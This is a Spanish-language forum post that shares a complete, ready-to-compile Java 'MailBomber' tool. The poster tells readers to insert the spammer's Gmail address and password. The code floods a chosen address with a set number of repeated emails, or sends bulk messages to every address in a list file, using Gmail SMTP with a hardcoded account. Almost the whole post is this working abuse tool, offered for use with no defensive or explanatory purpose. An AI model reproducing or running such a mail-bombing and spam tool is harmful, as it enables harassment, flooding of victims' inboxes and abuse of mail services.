|
|
Mensaje: #1
[MailBomber]
Cambien el correo por el que sera el spammer y su contraseña y ya.. xD
Exportar la libreria de javamail al proyecto para compilar
Lenguaje JAVA
import java.io.File;
import java.io.FileInputStream;
import java.util.ArrayList;
import java.util.Properties;
import java.util.Scanner;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class Mailer {
public static ArrayList<String> listaCorreos = new ArrayList<String>();
public static Scanner in = new Scanner(System.in);
public static Scanner on = new Scanner(System.in);
public static void main(String[] args) {
System.out.println("1.Mandar correos a una Direccion\n2.Mandar Correos a direcciones en un archivo");
int d = in.nextInt();
if(d==1){
System.out.println("Ingresar Numero de Mensajes :");
int num = in.nextInt();
System.out.println("Ingresar Direccion de destino :");
String sda = in.next();
System.out.println("Ingresar Mensaje a enviar :");
String da = on.nextLine();
Bomber(num,da,sda);
}else if(d==2){
System.out.println("Ingresar Direccion del Archivo :");
String dir = on.nextLine();
System.out.println("Ingresar Mensaje a enviar :");
String da = in.nextLine();
EnvioMasivo(dir, da);
}
}
public static void Leer_Archivo(String Direccion){
File ArchL = new File(Direccion);
try {
FileInputStream streamArch = new FileInputStream(ArchL);
int i = streamArch.available();
byte [] b = new byte[i];
String correo="";
for(int c=0;c<i;c++){
b[c]=(byte)streamArch.read();
if((int)b[c] == 10){
listaCorreos.add(correo);
correo="";
}
if((int)b[c]!= 13){
correo+=(char)b[c];
}
}
} catch (Exception e) {
System.out.println("Error al leer el archivo espesificado");
}
}
public static void EnvioMasivo(String archivo, String Mensaje){
Leer_Archivo(archivo);
System.out.println("Se enviara el mensaje a los siguientes correos : ");
MostrarCorreos();
System.out.println("Esta seguro? : s/n");
String SioNo = in.next();
if(SioNo.equals("s")){
for(String s : listaCorreos){
Enviar(Mensaje,s);
}
} else {System.out.println("-.-");}
}
public static void MostrarCorreos(){
for(String s : listaCorreos){
System.out.print(s);
}
}
public static void Bomber(int cantidad , String Mensaje, String Destino){
for(int i=1; i<=cantidad;i++){
Enviar(Mensaje , Destino);
}
}
public static void Enviar (String Mensaje , String Destino){
System.out.println("Mandando Correo a : " + Destino);
try {
Properties props = new Properties();
props.setProperty("mail.smtp.host", "smtp.gmail.com");
props.setProperty("mail.smtp.starttls.enable", "true");
props.setProperty("mail.smtp.port", "587");
props.setProperty("mail.smtp.user", "arobavx@gmail.com");
props.setProperty("mail.smtp.auth", "true");
System.out.println("Enviando…");
Session session = Session.getDefaultInstance(props);
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("arobavx@gmail.com"));
message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(Destino));
message.setSubject("Asunto");
message.setText(Mensaje);
Transport t = session.getTransport("smtp");
t.connect("arobavx@gmail.com", "contrasenha");
t.sendMessage(message, message.getAllRecipients());
t.close();
System.out.println("Email Enviado!");
}
catch (Exception e)
{
System.out.println("Error al enviar el mensaje");
}
}
}
Saludos
|
|
| 04-05-2011 12:34 PM |
|